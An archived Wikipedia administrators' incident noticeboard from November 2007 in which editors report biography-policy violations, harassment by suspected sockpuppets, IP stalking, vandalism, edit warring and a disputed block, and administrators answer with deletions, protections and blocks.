I just deleted the whole article as one of the worst WP:BLP violations I seen. The whole article was unsourced fancruft, and there was a section called personal life saying that he was gay with a source of a blog, and a whole bunch of gay speculations. Need more eyes. Thanks This is a Secret ^account 20:07, 3 November 2007 (UTC)

• Support. The article was a mess, start again form a stub was the only real option IMO. And more watchlists with that article on them would help, too. Guy (Help!) 20:09, 3 November 2007 (UTC)
  • Actually, there were decent revisions further back in the history, prior to 16 December 2006. I'll undelete the previous history and revert to that version, if you don't mind. Fut.Perf. ☼ 20:18, 3 November 2007 (UTC)
    • Oops, taking this back. The homosexuality allegations were there for much longer. Fut.Perf. ☼ 20:26, 3 November 2007 (UTC)
  • Bleh it was there since May of 2005, and before that it was re-written copyvio seems like, no salvagble version This is a Secret ^account 20:29, 3 November 2007 (UTC)
    • Only three 2004 versions had no issue, so those are restored This is a Secret ^account 20:35, 3 November 2007 (UTC)

Repeated harassment

It's a shame that I have to waste your time, but someone, please, have a look at what's happening to my talk page: [129]. It seems two accounts have been created with the single purpose to harass me by false accusations: Special:Contributions/HyperColony. Special:Contributions/QuinellaAlethea. I'm certain, they'd cease their attacks, if some admin or any other long-term user asked. Thanks for your attention. --NotSarenne 20:46, 3 November 2007 (UTC)

I just consulted with User:Dmcdevit, HyperColony is on tor, and QuinellaAlethea has been blocked indefinitely for being a sock of User:Fnagaton. Fnagaton is currently unblocked. Kwsn (Ni!) 22:00, 3 November 2007 (UTC)

My greatest thanks to both of you! This is a relieving albeit sad turn of events. Until the last minute, I did not expect him to go this far and assumed it was a third-party trying to make fun of me and him. --NotSarenne 22:12, 3 November 2007 (UTC)

I'm not connected with User:QuinellaAlethea. Fnagaton 22:16, 3 November 2007 (UTC)

Is it possible that he used the same dirty trick against Sarenne before and succeeded in getting him blocked? --NotSarenne 22:52, 3 November 2007 (UTC)

Backlog Wikipedia:Usernames for administrator attention

Resolved

The page hasn't been marked as so yet, but nothing has happened at the page for over 20minutes. Thought I would bring it to the administrators attention before it came to be a really big problem. Rgoodermote(Respond Here) 20:57, 3 November 2007 (UTC)

I just blocked three blatant bot-reported vios. There's only one left, but with no consensus to block.Dppowell 21:12, 3 November 2007 (UTC)

Dynamic anon IP stalking 2 users

An anon editor, using a dynamic IP addy has been stalking both User:Benjiboi and myself, apparently in retaliation for edits made to Hot House Entertainment. The article has been a source of contention, and it and two others had to be semi protected. That is when the harassment on our talk pages and the stalking began. Some diffs: [130] [131] [132] This is the Hot House history: [133] A compariosn of the addresses seems to bear out that the anon stalking IP is related to the one who was editing the article. I would appreciate it if some admin could intervene, or provide some suggestions as to how to deal with this. Jeffpw 21:16, 3 November 2007 (UTC)

The IP resolves to Paterson, New Jersey. That's all the help I can give because dynamic IPs have a tendency to switch. It's a Verizon IP. -Jéské ^{(Blah v^_^v)} 21:26, 3 November 2007 (UTC)

Anon apparently had issue with Sister Roma's perceived anti-Catholicism stemming from her inclusion on the Folsom Street Fair poster artwork (parody of the The Last Supper). Roma works at Hot House Entertainment (hence the connection) and Sister Boom-Boom was also semi-protected for repeated vandalism. User_talk:72.68.30.122 (also 72.68.127.29, 72.76.9.19, 72.68.31.200, 72.76.79.137, 72.68.121.41, 71.127.228.185, 71.127.229.250) mass deleted the vast majority of stub Sister Roma then tagged the article as non-notable as seen here. The same was done to Hot House Entertainment porn company where Sister Roma works (seen here and to a lesser degree Sister Boom-Boom. This anon IP is either a quick learner or, more likely a sock as they seem to have advanced wikipedia editing skills and then left me this note ending the first round of vandalism. Benjiboi 21:36, 3 November 2007 (UTC)

Repeated vandalism with WP:BLP issues to Todd Stroger article

Resolved

 – semiprotected. Guy (Help!) 22:44, 3 November 2007 (UTC)

The IP 99.166.117.86 (talk · contribs) keeps reinserting a preposterous nickname with fairly serious WP:BLP implications into the Todd Stroger article. When I ran a whois on the IP, it came back as a privately owned block, licensed from AT&T (I guess?). This is the edit this person keeps inserting [134]. Last one was Nov. 1. I've placed a warning on the talk page. Should probably keep an eye on this person. I'm also wondering, is there an ISP template for a situation like this? A geektools whois came back to a person's name, with an sbcglobal address indicated for abuse issues. Did I put the right ISP template on the talk page? Nobody of consequence 21:24, 3 November 2007 (UTC)

• I semiprotected, and I commend to you WP:RFPP in case of future occurrences. Guy (Help!) 22:44, 3 November 2007 (UTC)

Amir Abdul-Malik Ali

I've identified a number of single-purpose accounts used only to edit war for the last few months on Amir Abdul-Malik Ali (edit | talk | history | protect | delete | links | watch | logs | views):

• Sindbad4086 (talk · contribs · deleted contribs · logs · filter log · block user · block log)
• Mortimer Gleet (talk · contribs · deleted contribs · logs · filter log · block user · block log)
• Imhotep5 (talk · contribs · deleted contribs · logs · filter log · block user · block log)
• Irydhan (talk · contribs · deleted contribs · logs · filter log · block user · block log)
• Buster Friendly (talk · contribs · deleted contribs · logs · filter log · block user · block log)
• 98.207.54.164 (talk · contribs · deleted contribs · logs · filter log · block user · block log)

For now, I've only protected the article, but am welcome to ideas on what, if anything, to do with the accounts. east.718 at 21:30, 11/3/2007

This page is not to be left move unprotected

See Wikipedia:Requests for page protection#Wikipedia:Administrators' noticeboard/Incidents (edit|talk|history|links|watch|logs). Admins should not ever set any protection expiry time for this page, even if they either change their protection level to [edit=autoconfirmed:move=autoconfirmed] or [edit=autoconfirmed:move=sysop]. 75.36.255.227 22:52, 3 November 2007 (UTC)

Need Help

See User talk:Jéské Couriano#Fred Thompson (at the bottom of the page). Could someone give me some guidance? -Jéské ^{(Blah v^_^v)} 22:53, 3 November 2007 (UTC)

I've warned User:Turtlescrubber for civility. Mr.Z-man 23:39, 3 November 2007 (UTC)

User:AS 001

I ask that someone look over the contributions for User:AS 001, who does not seem to be here for the purpooses of building the encyclopedia. All of the edits from this account have been either criticizing admins or opposing the nominations for adminbots. Community input requested. RyanGerbil10(C-Town) 23:31, 3 November 2007 (UTC)

Judging by this diff, I think Newyorkbrad (talk · contribs) may be the person to ask. Viridae^Talk 23:35, 3 November 2007 (UTC)

You mean Newyorkbrad (talk · contribs), right? -Jéské ^{(Blah v^_^v)} 23:40, 3 November 2007 (UTC)

Bah, I screwed that up twice. Viridae^Talk 23:42, 3 November 2007 (UTC)

And based on this diff, he would appear to be a sock of banned user Bill Ayer (talk · contribs). He was also created 47 minutes after Bill's indef block. Someguy1221 23:41, 3 November 2007 (UTC)

Lol I wondered why there was a banned and sock template. Viridae^Talk 23:43, 3 November 2007 (UTC)

Allowal to be part of Caisson discussion

For the past two weeks a debate has been occurring on the Caisson (Asian architecture) article. On one side is PalaceGuard008, and on the other, Mattisse. I have attempted to provide solutions for the argument and that is visible on the article's Discussion page. Unfortunately, I have run into conflicts with the admin LessHeardVanU who seems to believe that I am harassing Mattisse, and he subsequently issued a warning and a recent block that were both wrongfully conceived. Perhaps I should have contested the warning before, and this would not have occurred, but my words fell on deaf ears so I did not press it further. Either way, I would like it to be known and stated that I have not committed any wrongful acts on the Caisson page and have only tried to help as a peer and concerned Wikipedian. In the future, I may ask for the warning and block issued by LessHeardVanU be revoked, but for now I wish for a declaration that I can go back to contributing to the Caisson article. - Cyborg Ninja 00:17, 4 November 2007 (UTC)